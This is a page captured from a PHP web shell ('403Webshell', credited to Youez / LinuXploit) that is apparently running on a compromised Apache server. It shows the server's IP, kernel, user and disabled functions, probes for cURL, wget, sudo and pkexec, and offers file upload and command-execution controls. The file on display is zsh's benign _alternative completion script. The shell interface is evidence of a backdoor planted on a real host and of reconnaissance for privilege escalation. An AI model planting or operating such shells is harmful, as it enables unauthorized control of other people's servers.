403Webshell
Server IP : 51.89.169.208  /  Your IP : 216.73.216.211
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/usr/share/zsh/5.5.1/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/usr/share/zsh/5.5.1/functions/_alternative
#autoload

local tags def expl descr action mesgs nm="$compstate[nmatches]" subopts
local opt ws curcontext="$curcontext"

subopts=()
while getopts 'O:C:' opt; do
  case "$opt" in
  O) subopts=( "${(@P)OPTARG}" ) ;;
  C) curcontext="${curcontext%:*}:$OPTARG" ;;
  esac
done

shift OPTIND-1

[[ "$1" = -(|-) ]] && shift

mesgs=()

_tags "${(@)argv%%:*}"

while _tags; do
  for def; do
    if _requested "${def%%:*}"; then
      descr="${${def#*:}%%:*}"
      action="${def#*:*:}"

      _description "${def%%:*}" expl "$descr"

      if [[ "$action" = \ # ]]; then

        # An empty action means that we should just display a message.

        mesgs=( "$mesgs[@]" "${def%%:*}:$descr")
      elif [[ "$action" = \(\(*\)\) ]]; then

        # ((...)) contains literal strings with descriptions.

        eval ws\=\( "${action[3,-3]}" \)

        _describe -t "${def%%:*}" "$descr" ws -M 'r:|[_-]=* r:|=*' "$subopts[@]"
      elif [[ "$action" = \(*\) ]]; then

        # Anything inside `(...)' is added directly.

        _all_labels "${def%%:*}" expl "$descr" \
            compadd "$subopts[@]" - ${=action[2,-2]}
      elif [[ "$action" = \{*\} ]]; then

        # A string in braces is evaluated.

        while _next_label "${def%%:*}" expl "$descr"; do
          eval "$action[2,-2]"
        done
      elif [[ "$action" = \ * ]]; then

        # If the action starts with a space, we just call it.

        eval "action=( $action )"
        while _next_label "${def%%:*}" expl "$descr"; do
          "$action[@]"
        done
      else

        # Otherwise we call it with the description-arguments built above.

        eval "action=( $action )"
	while _next_label "${def%%:*}" expl "$descr"; do
          "$action[1]" "$subopts[@]" "$expl[@]" "${(@)action[2,-1]}"
        done
      fi
    fi
  done
  [[ nm -ne compstate[nmatches] ]] && return 0
done

for descr in "$mesgs[@]"; do
  _message -e "${descr%%:*}" "${descr#*:}"
done

return 1

Youez - 2016 - github.com/yon3zu
LinuXploit